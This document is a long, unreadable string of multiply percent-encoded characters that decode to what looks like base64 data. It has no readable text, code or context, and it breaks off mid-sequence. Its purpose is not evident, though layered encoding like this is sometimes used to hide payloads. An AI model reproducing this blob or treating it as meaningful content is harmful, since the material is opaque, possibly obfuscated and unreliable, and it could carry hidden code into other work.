%35%31%25%34%61%25%37%31%25%34%31%25%36%31%25%37%39%25%36%37%25%37%61%25%34%62%25%34%32%25%35%34%25%35%32%25%34%34%25%37%35%25%35%35%25%34%38%25%36%63%25%34%31%25%37%32%25%34%36%25%35%31%25%36%35%25%36%31%25%34%32%25%33%36%25%36%37%25%35%34%25%36%31%25%36%66%25%34%31%25%34%62%25%36%61%25%37%30%25%37%37%25%34%35%25%36%31%25%36%66%25%36%37%25%36%34%25%34%37%25%36%64%25%33%35%25%35%34%25%34%61%25%33%31%25%36%63%25%36%33%25%33%33%25%34%66%25%37%39%25%33%39%25%35%33%25%35%31%25%35%34%25%36%35%25%37%34%25%36%63%25%36%31%25%37%34%25%36%38%25%36%64%25%33%31%25%37%39%25%35%37%25%32%62%25%36%62%25%33%30%25%37%61%25%33%31%25%37%38%25%33%33%25%36%66%25%33%30%25%36%31%25%37%34%25%34%36%25%36%63%25%34%66%25%37%32%25%34%34%25%37%32%25%34%37%25%36%65%25%36%32%25%37%38%25%34%38%25%35%33%25%37%35%25%34%65%25%36%38%25%34%32%25%37%30%25%37%33%25%37%37%25%33%30%25%34%31%25%33%33%25%36%66%25%35%61%25%34%37%25%36%65%25%33%38%25%37%39%25%34%32%25%36%62%25%35%30%25%35%32%25%33%37%25%34%35%25%33%30%25%36%38%25%35%39%25%35%39%25%34%36%25%37%35%25%34%61%25%35%39%25%35%38%25%33%31%25%35%30%25%36%66%25%36%66%25%33%38%25%34%65%25%32%66%25%36%36%25%36%37%25%36%37%25%34%63%25%33%32%25%37%36%25%35%32%25%37%30%25%33%31%25%33%39%25%34%37%25%37%35%25%34%39%25%36%64%25%37%39%25%34%35%25%34%61%25%34%33%25%35%36%25%34%66%25%34%35%25%35%34%25%34%64%25%36%35%25%34%36%25%35%37%25%36%63%25%35%34%25%34%35%25%35%32%25%35%39%25%34%37%25%36%61%25%37%31%25%34%38%25%35%61%25%34%33%25%34%62%25%33%39%25%36%66%25%37%39%25%35%38%25%37%39%25%33%36%25%37%31%25%34%32%25%35%38%25%34%61%25%37%34%25%37%38%25%34%61%25%33%33%25%35%38%25%35%30%25%35%37%25%36%32%25%36%63%25%37%39%25%36%34%25%34%65%25%35%37%25%36%63%25%35%36%25%35%35%25%33%38%25%36%62%25%33%37%25%37%35%25%35%32%25%37%31%25%36%63%25%33%39%25%33%36%25%33%33%25%34%64%25%35%31%25%36%38%25%36%33%25%33%35%25%36%31%25%34%62%25%37%30%25%33%32%25%33%37%25%36%31%25%36%62%25%36%31%25%37%30%25%34%35%25%33%37%25%36%36%25%36%36%25%33%39%25%33%36%25%36%39%25%34%61%25%35%39%25%37%34%25%36%39%25%37%35%25%36%66%25%37%32%25%36%39%25%34%39%25%36%66%25%36%38%25%34%66%25%35%35%25%35%36%25%33%35%25%34%35%25%35%37%25%34%33%25%33%32%25%36%65%25%34%61%25%35%33%25%36%36%25%37%35%25%33%37%25%33%30%25%35%34%25%34%63%25%35%39%25%34%63%25%36%61%25%36%38%25%34%32%25%34%63%25%35%35%25%35%35%25%36%66%25%37%30%25%36%66%25%37%32%25%34%62%25%34%34%25%36%64%25%33%35%25%36%32%25%37%31%25%36%35%25%35%30%25%34%35%25%36%32%25%35%39%25%35%39%25%36%38%25%35%33%25%36%35%25%35%36%25%34%61%25%35%39%25%35%32%25%35%35%25%33%39%25%36%64%25%36%33%25%32%62%25%34%39%25%35%39%25%36%61%25%34%34%25%35%30%25%34%62%25%34%36%25%35%61%25%37%35%25%34%33%25%37%61%25%33%39%25%34%39%25%34%37%25%33%37%25%34%62%25%37%38%25%37%39%25%35%34%25%35%32%25%36%31%25%36%62%25%37%33%25%37%36%25%34%64%25%37%38%25%34%34%25%35%30%25%34%62%25%33%36%25%33%31%25%34%39%25%34%36%25%36%36%25%36%35%25%36%62%25%35%31%25%35%35%25%37%31%25%34%61%25%36%63%25%36%63%25%34%32%25%33%31%25%36%31%25%37%34%25%36%36%25%33%30%25%37%34%25%35%35%25%36%35%25%37%61%25%33%33%25%37%30%25%37%36%25%34%63%25%36%62%25%37%32%25%32%62%25%35%35%25%34%62%25%36%62%25%37%35%25%37%35%25%33%38%25%34%62%25%37%31%25%37%39%25%34%32%25%35%37%25%36%65%25%34%61%25%35%33%25%34%36%25%35%34%25%37%35%25%34%35%25%37%61%25%32%66%25%36%62%25%34%66%25%33%30%25%37%32%25%36%33%25%36%32%25%32%62%25%36%62%25%37%31%25%37%61%25%34%35%25%34%63%25%36%35%25%36%36%25%36%62%25%35%34%25%36%39%25%33%37%25%36%39%25%37%33%25%35%36%25%33%32%25%36%62%25%35%33%25%36%62%25%36%64%25%34%66%25%35%39%25%36%33%25%37%35%25%33%37%25%36%35%25%33%30%25%34%31%25%33%38%25%35%36%25%32%62%25%36%35%25%34%66%25%33%34%25%33%37%25%36%35%25%36%63%25%37%34%25%36%37%25%34%33%25%35%38%25%34%31%25%37%34%25%37%32%25%34%33%25%35%35%25%36%33%25%35%61%25%33%38%25%35%32%25%35%61%25%35%32%25%34%61%25%35%61%25%37%31%25%35%36%25%36%37%25%33%31%25%32%62%25%35%34%25%35%31%25%36%36%25%33%39%25%37%38%25%33%31%25%35%31%25%36%65%25%37%32%25%36%62%25%37%38%25%37%34%25%34%33%25%36%37%25%37%39%25%36%39%25%35%35%25%36%63%25%35%35%25%33%35%25%34%36%25%34%31%25%35%39%25%34%39%25%34%38%25%36%33%25%34%37%25%36%39%25%34%33%25%33%32%25%35%38%25%34%66%25%34%38%25%35%36%25%37%39%25%34%35%25%36%66%25%34%39%25%33%30%25%37%61%25%37%38%25%35%31%25%34%33%25%35%31%25%34%36%25%36%33%25%37%37%25%34%39%25%34%39%25%34%34%25%34%31%25%36%36%25%34%66%25%36%39%25%36%33%25%37%31%25%33%30%25%35%31%25%36%34%25%33%30%25%37%39%25%37%35%25%37%36%25%33%31%25%35%33%25%34%34%25%36%39%25%37%30%25%33%38%25%37%38%25%34%35%25%36%66%25%34%39%25%35%33%25%36%37%25%36%34%25%35%36%25%37%34%25%36%32%25%33%35%25%35%39%25%37%39%25%33%39%25%34%62%25%37%38%25%33%31%25%37%31%25%34%31%25%32%66%25%37%31%25%36%64%25%35%37%25%37%61%25%36%63%25%33%34%25%34%65%25%36%64%25%34%65%25%37%34%25%37%30%25%36%31%25%37%38%25%32%66%25%35%32%25%32%62%25%34%66%25%35%32%25%37%39%25%35%39%25%35%35%25%34%35%25%34%37%25%35%30%25%33%35%25%37%36%25%35%30%25%36%32%25%36%35%25%36%63%25%36%38%25%34%38%25%34%62%25%36%32%25%34%66%25%36%32%25%36%32%25%34%35%25%36%66%25%33%36%25%36%31%25%34%32%25%36%32%25%33%30%25%36%35%25%36%31%25%33%31%25%35%32%25%35%30%25%37%61%25%33%31%25%36%32%25%37%39%25%37%38%25%33%35%25%33%36%25%33%31%25%34%39%25%37%34%25%35%36%25%33%34%25%37%61%25%35%36%25%33%30%25%37%32%25%35%35%25%35%37%25%35%32%25%34%63%25%33%39%25%33%39%25%34%66%25%33%32%25%32%66%25%36%39%25%37%37%25%35%33%25%36%61%25%33%30%25%34%65%25%37%37%25%35%38%25%35%37%25%36%32%25%36%65%25%34%31%25%37%31%25%34%62%25%34%32%25%35%38%25%35%36%25%36%35%25%36%33%25%33%39%25%34%62%25%37%36%25%33%39%25%36%39%25%37%31%25%33%39%25%37%31%25%37%31%25%34%62%25%35%33%25%33%33%25%33%35%25%37%36%25%33%38%25%37%35%25%36%63%25%36%66%25%33%32%25%35%34%25%34%66%25%36%61%25%35%36%25%33%33%25%36%38%25%33%33%25%34%34%25%34%38%25%36%36%25%35%30%25%36%33%25%35%34%25%36%34%25%37%33%25%35%31%25%33%34%25%34%33%25%34%61%25%36%61%25%36%38%25%34%62%25%33%39%25%36%61%25%36%64%25%34%34%25%34%66%25%37%35%25%36%33%25%37%37%25%37%39%25%35%30%25%36%62%25%35%39%25%37%35%25%34%63%25%36%33%25%34%38%25%34%37%25%34%39%25%34%32%25%37%38%25%34%31%25%33%34%25%34%34%25%36%62%25%37%34%25%36%64%25%37%33%25%37%36%25%37%33%25%36%62%25%35%31%25%34%33%25%32%66%25%34%38%25%37%32%25%33%35%25%35%33%25%35%30%25%36%38%25%34%61%25%36%31%25%35%61%25%35%39%25%36%61%25%33%31%25%34%33%25%34%36%25%34%63%25%33%30%25%33%31%25%36%63%25%35%61%25%34%34%25%34%37%25%37%31%25%33%35%25%33%37%25%34%62%25%34%35%25%33%35%25%35%61%25%36%62%25%33%30%25%32%62%25%33%31%25%33%31%25%34%63%25%35%37%25%33%32%25%33%32%25%34%32%25%34%32%25%34%38%25%33%35%25%36%34%25%36%63%25%35%37%25%37%31%25%37%61%25%35%37%25%33%38%25%34%32%25%36%63%25%35%36%25%35%39%25%37%31%25%34%33%25%34%63%25%34%34%25%35%31%25%35%31%25%34%37%25%33%30%25%34%65%25%34%33%25%33%35%25%36%38%25%34%62%25%36%66%25%33%33%25%32%66%25%36%38%25%33%30%25%33%33%25%36%61%25%35%38%25%37%36%25%35%33%25%36%33%25%36%36%25%33%37%25%35%33%25%37%61%25%35%31%25%34%39%25%37%38%25%36%37%25%34%66%25%35%30%25%35%61%25%37%34%25%37%61%25%36%38%25%34%64%25%34%35%25%34%63%25%36%63%25%34%65%25%35%38%25%34%65%25%33%35%25%35%38%25%33%33%25%33%37%25%36%66%25%33%33%25%34%31%25%33%31%25%33%32%25%36%66%25%34%32%25%37%61%25%34%32%25%34%66%25%37%39%25%34%39%25%37%32%25%36%63%25%33%39%25%35%61%25%35%30%25%34%62%25%36%61%25%32%62%25%34%34%25%33%35%25%37%36%25%33%39%25%35%32%25%35%39%25%36%36%25%35%34%25%37%38%25%32%62%25%34%64%25%36%38%25%35%30%25%37%37%25%35%61%25%34%31%25%36%64%25%37%38%25%34%64%25%37%35%25%36%34%25%32%62%25%33%35%25%33%37%25%35%32%25%32%66%25%33%35%25%33%31%25%37%61%25%36%34%25%34%65%25%37%34%25%35%39%25%36%32%25%36%37%25%32%62%25%33%36%25%33%35%25%36%35%25%35%38%25%36%62%25%36%33%25%33%32%25%34%32%25%34%66%25%34%37%25%35%34%25%37%30%25%36%65%25%36%31%25%35%36%25%36%31%25%34%31%25%36%65%25%32%66%25%37%34%25%33%32%25%36%39%25%37%34%25%37%38%25%33%33%25%34%32%25%34%66%25%35%37%25%35%35%25%34%36%25%36%31%25%36%37%25%33%32%25%34%63%25%35%38%25%33%30%25%37%30%25%37%61%25%34%39%25%34%62%25%37%61%25%37%38%25%35%33%25%33%30%25%37%39%25%34%63%25%37%30%25%34%32%25%34%66%25%34%36%25%33%31%25%35%34%25%36%33%25%36%32%25%34%39%25%36%62%25%34%66%25%33%35%25%33%39%25%36%62%25%33%31%25%35%61%25%33%37%25%33%33%25%36%35%25%37%32%25%33%35%25%34%65%25%35%30%25%37%36%25%34%37%25%33%36%25%34%34%25%37%35%25%34%64%25%37%38%25%37%37%25%36%31%25%37%61%25%34%63%25%33%38%25%34%32%25%34%63%25%34%66%25%33%38%25%37%34%25%37%35%25%36%64%25%37%36%25%37%36%25%37%30%25%33%35%25%35%36%25%33%37%25%36%36%25%33%34%25%35%38%25%34%33%25%33%38%25%33%30%25%34%37%25%33%33%25%36%62%25%35%61%25%35%33%25%37%31%25%34%65%25%36%36%25%33%31%25%36%63%25%33%32%25%33%32%25%36%35%25%35%33%25%34%62%25%35%35%25%33%31%25%35%30%25%34%65%25%37%61%25%34%63%25%34%35%25%35%32%25%33%38%25%34%65%25%35%34%25%33%37%25%36%61%25%33%31%25%33%31%25%33%36%25%36%32%25%36%38%25%34%33%25%37%36%25%36%32%25%34%39%25%33%30%25%37%39%25%35%34%25%36%32%25%36%38%25%34%35%25%35%61%25%33%36%25%36%66%25%34%65%25%37%30%25%36%38%25%37%36%25%35%36%25%37%61%25%36%63%25%34%62%25%36%36%25%34%31%25%33%35%25%34%34%25%35%34%25%33%31%25%37%38%25%35%30%25%35%38%25%37%36%25%34%38%25%37%33%25%36%66%25%34%65%25%35%36%25%37%32%25%34%39%25%35%39%25%37%37%25%36%35%25%37%36%25%36%32%25%34%66%25%37%31%25%36%37%25%33%32%25%33%38%25%36%61%25%33%37%25%35%61%25%35%61%25%36%36%25%37%61%25%33%37%25%34%61%25%34%63%25%36%39%25%36%65%25%33%33%25%35%61%25%36%36%25%37%39%25%37%61%25%35%35%25%37%39%25%34%66%25%33%33%25%35%61%25%35%36%25%35%37%25%34%63%25%33%39%25%33%31%25%33%38%25%36%65%25%34%33%25%33%39%25%33%35%25%36%64%25%34%37%25%35%36%25%33%36%25%36%63%25%34%38%25%37%36%25%35%37%25%33%31%25%36%63%25%37%35%25%34%35%25%35%34%25%37%32%25%36%65%25%34%37%25%32%62%25%36%61%25%36%38%25%36%34%25%34%36%25%33%31%25%33%36%25%32%66%25%33%39%25%36%36%25%34%65%25%35%39%25%33%33%25%37%37%25%37%37%25%33%32%25%35%38%25%37%37%25%37%36%25%36%34%25%32%62%25%34%35%25%34%61%25%32%66%25%34%66%25%36%62%25%37%32%25%35%36%25%34%32%25%34%65%25%36%35%25%37%35%25%37%36%25%35%32%25%37%38%25%35%31%25%36%34%25%36%65%25%33%39%25%35%31%25%34%34%25%34%65%25%37%31%25%34%65%25%36%33%25%34%32%25%33%37%25%36%65%25%36%61%25%37%34%25%35%34%25%36%65%25%34%35%25%33%36%25%35%30%25%33%30%25%37%37%25%34%34%25%33%39%25%37%32%25%33%38%25%35%32%25%35%37%25%36%32%25%35%35%25%32%62%25%36%33%25%36%35%25%33%30%25%36%33%25%35%34%25%32%62%25%37%33%25%33%33%25%37%36%25%33%31%25%33%35%25%36%34%25%37%32%25%36%32%25%35%35%25%35%34%25%34%36%25%33%33%25%35%36%25%37%32%25%36%64%25%34%32%25%37%31%25%36%61%25%33%31%25%34%64%25%37%36%25%33%34%25%35%30%25%37%30%25%35%39%25%36%34%25%36%33%25%37%31%25%37%37%25%34%62%25%35%37%25%36%63%25%37%31%25%36%33%25%35%39%25%37%35%25%35%35%25%34%38%25%36%31%25%34%36%25%35%35%25%36%64%25%34%35%25%33%38%25%33%31%25%36%34%25%37%61%25%35%31%25%34%33%25%36%37%25%37%30%25%33%32%25%35%36%25%35%34%25%37%39%25%35%32%25%35%36%25%35%30%25%33%37%25%35%30%25%37%32%25%33%39%25%34%34%25%33%37%25%36%36%25%35%36%25%37%34%25%37%35%25%34%33%25%33%34%25%37%31%25%34%34%25%36%31%25%36%65%25%33%36%25%37%37%25%37%38%25%37%30%25%35%39%25%33%34%25%34%33%25%37%61%25%33%38%25%34%34%25%37%35%25%33%33%25%34%31%25%33%36%25%35%34%25%33%38%25%36%34%25%36%38%25%35%39%25%37%36%25%34%38%25%36%38%25%35%32%25%34%39%25%34%32%25%37%39%25%33%31%25%32%62%25%36%66%25%37%30%25%32%66%25%34%36%25%34%37%25%37%35%25%35%30%25%35%34%25%33%35%25%35%39%25%36%34%25%37%38%25%36%66%25%36%66%25%36%35%25%37%37%25%35%32%25%33%33%25%36%65%25%34%39%25%36%36%25%34%61%25%35%34%25%35%37%25%36%32%25%34%61%25%37%32%25%36%62%25%34%35%25%34%63%25%34%34%25%35%39%25%34%65%25%33%36%25%34%62%25%37%35%25%34%38%25%35%32%25%33%31%25%36%64%25%37%39%25%37%39%25%33%37%25%33%34%25%35%30%25%34%33%25%33%30%25%35%36%25%37%37%25%37%31%25%34%62%25%37%32%25%37%33%25%34%39%25%35%32%25%36%64%25%33%37%25%33%35%25%36%66%25%34%66%25%33%38%25%37%35%25%34%39%25%36%33%25%34%65%25%36%33%25%35%30%25%34%61%25%34%32%25%34%61%25%34%63%25%34%64%25%36%33%25%34%63%25%33%32%25%35%39%25%37%39%25%35%61%25%36%61%25%35%38%25%36%65%25%35%35%25%35%38%25%33%39%25%37%35%25%35%32%25%36%62%25%37%30%25%35%30%25%34%37%25%33%39%25%36%38%25%35%37%25%36%39%25%35%33%25%35%31%25%35%33%25%34%36%25%37%35%25%34%37%25%33%39%25%34%33%25%35%39%25%33%36%25%34%62%25%34%34%25%34%64%25%34%38%25%34%33%25%34%34%25%36%61%25%37%39%25%32%62%25%33%31%25%34%37%25%37%61%25%36%64%25%36%65%25%33%36%25%36%36%25%33%37%25%34%31%25%37%38%25%33%39%25%37%32%25%32%66%25%34%35%25%34%62%25%33%35%25%34%38%25%33%35%25%34%65%25%35%31%25%34%64%25%37%30%25%36%65%25%36%66%25%33%38%25%33%30%25%33%31%25%35%30%25%36%35%25%35%37%25%35%37%25%35%35%25%33%39%25%35%37%25%33%30%25%36%36%25%33%34%25%33%36%25%37%61%25%36%64%25%35%32%25%36%62%25%37%34%25%34%66%25%37%33%25%37%37%25%35%33%25%37%30%25%33%30%25%37%33%25%36%35%25%36%32%25%37%31%25%34%31%25%35%33%25%36%32%25%33%38%25%36%39%25%37%33%25%36%65%25%34%38%25%33%37%25%34%62%25%34%66%25%37%31%25%34%65%25%33%30%25%35%30%25%33%35%25%34%63%25%34%34%25%34%62%25%35%39%25%36%31%25%36%63%25%34%66%25%33%38%25%36%66%25%34%32%25%35%39%25%36%38%25%37%33%25%34%33%25%33%39%25%36%33%25%34%34%25%33%37%25%36%62%25%33%36%25%35%34%25%37%61%25%36%32%25%33%37%25%35%37%25%34%37%25%37%33%25%37%31%25%34%63%25%34%61%25%35%34%25%36%61%25%35%34%25%37%30%25%37%35%25%37%32%25%33%36%25%37%38%25%35%33%25%37%35%25%33%39%25%37%37%25%36%64%25%36%34%25%35%37%25%33%36%25%32%66%25%34%39%25%36%38%25%37%36%25%34%65%25%34%62%25%33%32%25%35%38%25%32%66%25%37%32%25%37%34%25%32%62%25%36%64%25%36%34%25%37%39%25%37%38%25%34%31%25%37%34%25%33%30%25%34%38%25%37%34%25%35%61%25%36%37%25%34%64%25%35%61%25%34%32%25%37%34%25%36%64%25%33%39%25%37%39%25%33%35%25%35%31%25%36%34%25%35%39%25%36%37%25%37%38%25%37%30%25%36%34%25%33%34%25%37%34%25%33%30%25%34%66%25%34%35%25%33%37%25%34%61%25%36%66%25%37%31%25%35%34%25%36%32%25%34%39%25%35%37%25%37%36%25%34%33%25%35%39%25%36%35%25%37%33%25%33%33%25%37%33%25%34%39%25%35%36%25%34%64%25%33%35%25%35%34%25%37%38%25%35%35%25%34%38%25%37%36%25%36%62%25%35%61%25%36%38%25%34%36%25%33%33%25%34%63%25%36%61%25%35%38%25%34%37%25%37%61%25%33%37%25%36%38%25%34%66%25%33%32%25%37%37%25%36%65%25%35%36%25%35%37%25%36%36%25%35%37%25%34%62%25%36%65%25%36%35%25%37%32%25%35%30%25%37%33%25%35%35%25%36%32%25%32%62%25%34%37%25%34%61%25%34%38%25%36%38%25%36%37%25%34%32%25%34%39%25%35%61%25%37%30%25%37%31%25%34%65%25%37%38%25%34%63%25%35%37%25%37%33%25%37%30%25%34%33%25%37%36%25%34%38%25%35%38%25%35%34%25%32%62%25%33%38%25%37%30%25%33%35%25%35%38%25%35%34%25%36%34%25%36%62%25%34%64%25%35%31%25%33%34%25%36%39%25%37%33%25%34%63%25%36%37%25%35%61%25%35%32%25%37%37%25%36%62%25%36%63%25%36%33%25%34%38%25%36%33%25%35%33%25%37%32%25%33%35%25%33%31%25%34%61%25%34%34%25%36%66%25%36%65%25%36%39%25%36%61%25%34%65%25%37%34%25%34%61%25%35%36%25%35%32%25%35%36%25%35%33%25%35%32%25%34%63%25%36%36%25%33%30%25%33%35%25%36%66%25%37%35%25%34%31%25%34%34%25%37%39%25%36%66%25%37%31%25%37%33%25%34%62%25%35%31%25%34%32%25%36%39%25%34%62%25%36%65%25%33%30%25%36%63%25%34%64%25%33%39%25%33%36%25%33%34%25%35%37%25%37%39%25%35%32%25%32%66%25%33%39%25%35%32%25%34%64%25%34%33%25%37%36%25%37%33%25%34%63%25%36%36%25%37%37%25%35%34%25%33%32%25%36%66%25%34%64%25%34%66%25%37%30%25%37%31%25%36%61%25%37%30%25%36%38%25%35%30%25%35%37%25%34%62%25%37%35%25%33%35%25%36%62%25%33%34%25%36%63%25%34%64%25%35%38%25%33%32%25%37%32%25%36%63%25%33%34%25%36%64%25%33%33%25%33%30%25%33%34%25%36%62%25%33%31%25%35%34%25%35%30%25%37%31%25%34%34%25%36%33%25%35%36%25%36%65%25%33%37%25%33%30%25%35%32%25%37%31%25%33%39%25%36%33%25%32%66%25%36%31%25%33%36%25%34%35%25%37%38%25%36%66%25%37%31%25%36%61%25%35%38%25%36%64%25%34%38%25%33%35%25%36%37%25%35%38%25%32%66%25%36%35%25%36%65%25%33%34%25%36%32%25%36%33%25%36%39%25%36%38%25%34%35%25%34%37%25%36%31%25%33%32%25%36%61%25%34%31%25%34%37%25%34%34%25%36%32%25%34%35%25%34%35%25%36%37%25%35%39%25%36%36%25%35%34%25%37%31%25%35%34%25%36%38%25%35%30%25%35%34%25%35%37%25%36%35%25%36%39%25%37%33%25%34%63%25%36%35%25%34%61%25%33%32%25%32%62%25%35%35%25%35%32%25%32%62%25%33%34%25%33%34%25%34%31%25%33%39%25%34%65%25%34%35%25%37%36%25%36%38%25%36%62%25%37%37%25%36%64%25%35%36%25%33%36%25%33%34%25%35%38%25%34%64%25%34%33%25%37%36%25%33%37%25%34%62%25%34%36%25%35%34%25%34%66%25%34%39%25%34%61%25%36%32%25%35%32%25%35%33%25%37%30%25%34%63%25%34%36%25%32%66%25%34%37%25%35%37%25%36%32%25%36%33%25%36%62%25%32%62%25%37%34%25%36%62%25%36%66%25%36%65%25%33%35%25%36%35%25%33%32%25%32%62%25%33%37%25%35%31%25%36%63%25%37%30%25%34%62%25%34%33%25%34%66%25%36%37%25%33%38%25%33%38%25%37%39%25%36%35%25%33%31%25%36%63%25%34%36%25%34%34%25%33%33%25%35%33%25%36%32%25%33%38%25%35%34%25%36%64%25%33%37%25%34%39%25%34%65%25%35%35%25%33%32%25%36%33%25%37%31%25%36%61%25%34%65%25%34%36%25%37%30%25%37%34%25%34%36%25%35%36%25%37%35%25%34%65%25%34%35%25%36%62%25%37%35%25%35%36%25%34%64%25%34%64%25%36%62%25%36%38%25%36%34%25%35%38%25%33%30%25%33%33%25%37%30%25%36%37%25%35%34%25%34%37%25%34%37%25%34%38%25%36%64%25%32%62%25%33%35%25%35%30%25%35%36%25%35%61%25%35%32%25%34%61%25%34%34%25%35%33%25%33%31%25%37%39%25%33%34%25%33%32%25%33%37%25%35%31%25%33%36%25%37%32%25%37%30%25%35%33%25%33%34%25%36%33%25%35%35%25%37%30%25%36%61%25%36%32%25%33%32%25%36%37%25%36%37%25%32%62%25%37%35%25%34%33%25%36%66%25%36%37%25%34%38%25%36%38%25%34%31%25%34%36%25%37%39%25%33%33%25%35%39%25%34%65%25%34%35%25%34%31%25%34%66%25%36%31%25%35%38%25%36%39%25%33%31%25%35%31%25%37%34%25%34%64%25%36%63%25%33%38%25%33%37%25%34%32%25%37%30%25%36%66%25%34%62%25%36%37%25%34%62%25%34%33%25%33%35%25%37%61%25%33%33%25%33%30%25%37%39%25%36%63%25%36%64%25%37%61%25%35%32%25%35%37%25%32%62%25%37%61%25%36%32%25%34%39%25%37%61%25%34%66%25%33%30%25%36%35%25%37%30%25%36%62%25%36%65%25%37%38%25%37%33%25%36%61%25%35%32%25%37%37%25%33%35%25%33%35%25%37%31%25%37%34%25%35%35%25%33%33%25%33%30%25%37%32%25%33%31%25%37%32%25%36%35%25%33%36%25%34%63%25%35%39%25%36%35%25%34%65%25%36%33%25%34%38%25%33%31%25%36%31%25%33%36%25%37%31%25%36%38%25%33%37%25%36%63%25%37%39%25%37%33%25%33%34%25%32%66%25%36%63%25%35%32%25%33%37%25%34%35%25%34%62%25%36%62%25%33%35%25%37%61%25%36%63%25%34%38%25%36%64%25%35%39%25%34%39%25%35%31%25%34%32%25%34%64%25%36%38%25%34%61%25%34%36%25%37%32%25%35%38%25%33%38%25%37%32%25%36%32%25%35%30%25%34%61%25%35%33%25%36%31%25%36%38%25%34%35%25%36%66%25%33%35%25%32%66%25%37%37%25%34%64%25%35%34%25%35%37%25%33%31%25%36%34%25%36%36%25%37%37%25%33%35%25%34%36%25%34%66%25%35%36%25%34%66%25%33%36%25%33%39%25%36%34%25%35%61%25%33%31%25%34%39%25%36%38%25%35%33%25%35%34%25%34%63%25%33%36%25%33%37%25%35%30%25%35%30%25%34%65%25%35%37%25%36%65%25%37%31%25%36%62%25%36%32%25%35%61%25%34%64%25%36%37%25%36%37%25%33%34%25%33%37%25%34%35%25%34%38%25%33%36%25%33%33%25%35%39%25%35%33%25%34%65%25%37%33%25%33%38%25%36%62%25%33%31%25%33%30%25%35%61%25%35%35%25%36%66%25%37%32%25%33%33%25%34%31%25%34%62%25%36%33%25%34%39%25%36%61%25%35%30%25%33%38%25%35%36%25%32%62%25%35%37%25%35%36%25%36%35%25%35%36%25%35%33%25%34%66%25%36%62%25%37%61%25%33%30%25%36%39%25%36%33%25%37%35%25%34%65%25%36%35%25%35%33%25%35%36%25%33%37%25%37%39%25%32%62%25%33%33%25%34%66%25%37%36%25%36%64%25%35%37%25%34%39%25%35%30%25%36%66%25%34%34%25%34%34%25%37%35%25%37%30%25%35%34%25%35%39%25%36%37%25%37%34%25%34%33%25%35%39%25%36%61%25%37%34%25%37%33%25%34%35%25%34%33%25%36%62%25%34%31%25%33%35%25%33%31%25%33%39%25%34%35%25%35%36%25%34%37%25%32%62%25%37%32%25%35%35%25%36%62%25%33%33%25%35%35%25%34%39%25%36%33%25%36%39%25%35%35%25%35%30%25%33%36%25%34%37%25%36%64%25%37%61%25%36%64%25%35%61%25%36%37%25%34%36%25%34%35%25%36%33%25%36%62%25%35%39%25%35%36%25%33%37%25%33%39%25%35%38%25%37%39%25%35%34%25%36%32%25%36%38%25%36%38%25%34%63%25%35%61%25%35%33%25%35%61%25%34%63%25%36%65%25%33%32%25%34%33%25%37%30%25%35%38%25%36%65%25%34%65%25%34%33%25%37%39%25%34%62%25%35%35%25%37%37%25%35%30%25%33%32%25%36%65%25%36%34%25%33%39%25%32%62%25%37%31%25%35%37%25%34%66%25%36%65%25%35%39%25%37%36%25%34%66%25%32%66%25%33%38%25%33%38%25%35%61%25%35%31%25%36%37%25%36%35%25%34%61%25%37%30%25%35%35%25%36%63%25%35%38%25%33%38%25%36%66%25%33%39%25%35%61%25%34%62%25%33%38%25%37%35%25%36%66%25%33%35%25%33%36%25%37%36%25%34%38%25%34%38%25%32%62%25%35%30%25%37%35%25%36%37%25%33%34%25%37%31%25%36%36%25%36%65%25%32%62%25%33%39%25%34%39%25%34%32%25%36%31%25%36%65%25%34%38%25%33%32%25%33%31%25%35%37%25%36%65%25%36%39%25%36%39%25%35%33%25%34%35%25%36%65%25%36%64%25%34%65%25%32%62%25%33%34%25%33%39%25%37%61%25%37%39%25%32%66%25%34%63%25%36%34%25%34%37%25%34%36%25%33%37%25%33%31%25%35%36%25%37%37%25%36%38%25%34%38%25%33%35%25%34%61%25%34%33%25%34%37%25%33%37%25%33%31%25%33%39%25%35%30%25%34%32%25%34%31%25%35%32%25%34%66%25%32%66%25%33%39%25%37%30%25%36%34%25%34%38%25%36%64%25%34%61%25%36%34%25%33%33%25%33%36%25%33%35%25%35%38%25%37%33%25%37%37%25%35%30%25%34%63%25%35%34%25%33%34%25%36%63%25%33%39%25%33%32%25%36%63%25%34%65%25%37%35%25%32%62%25%37%38%25%36%35%25%33%32%25%35%38%25%34%35%25%34%34%25%36%32%25%34%31%25%33%39%25%35%35%25%35%61%25%35%32%25%34%34%25%35%61%25%32%66%25%37%35%25%33%38%25%35%61%25%36%34%25%36%65%25%37%31%25%34%34%25%33%32%25%33%36%25%34%39%25%36%35%25%37%61%25%37%39%25%36%32%25%37%39%25%33%32%25%35%38%25%34%38%25%36%66%25%36%36%25%34%62%25%35%35%25%36%63%25%36%64%25%37%31%25%36%38%25%35%30%25%34%64%25%33%38%25%34%35%25%36%31%25%34%34%25%37%39%25%35%61%25%35%37%25%35%31%25%34%34%25%36%63%25%37%38%25%36%32%25%36%64%25%37%34%25%35%34%25%36%37%25%36%37%25%37%39%25%34%38%25%37%31%25%35%32%25%37%35%25%36%39%25%33%33%25%35%61%25%34%64%25%35%35%25%33%33%25%36%35%25%36%34%25%35%31%25%36%37%25%36%65%25%33%32%25%37%32%25%36%32%25%37%30%25%33%31%25%37%61%25%35%38%25%34%61%25%35%34%25%37%34%25%37%36%25%36%33%25%35%61%25%35%34%25%35%34%25%32%62%25%36%37%25%33%36%25%33%39%25%36%33%25%36%34%25%35%35%25%36%65%25%36%63%25%37%34%25%33%38%25%34%65%25%37%37%25%37%36%25%36%65%25%37%33%25%36%35%25%36%35%25%35%30%25%33%33%25%35%30%25%36%62%25%33%38%25%36%33%25%36%38%25%34%35%25%33%39%25%35%30%25%35%33%25%35%61%25%37%32%25%35%32%25%34%64%25%37%61%25%35%34%25%36%62%25%37%38%25%36%63%25%33%39%25%35%32%25%37%37%25%32%62%25%37%34%25%34%62%25%34%33%25%37%61%25%34%61%25%32%66%25%33%39%25%36%31%25%36%36%25%34%61%25%37%30%25%37%32%25%37%32%25%37%32%25%32%66%25%33%32%25%33%36%25%36%36%25%34%36%25%37%30%25%33%39%25%34%32%25%33%37%25%33%33%25%33%32%25%35%39%25%33%37%25%32%62%25%35%38%25%36%65%25%34%66%25%33%30%25%34%62%25%33%35%25%34%35%25%33%36%25%35%37%25%34%39%25%34%32%25%35%38%25%37%36%25%34%36%25%35%39%25%36%39%25%35%35%25%35%33%25%36%64%25%36%32%25%37%36%25%36%37%25%35%39%25%36%35%25%34%38%25%36%38%25%36%34%25%37%37%25%34%62%25%37%36%25%36%62%25%36%35%25%35%37%25%34%61%25%34%37%25%37%33%25%34%64%25%36%39%25%37%39%25%35%61%25%33%33%25%37%38%25%35%36%25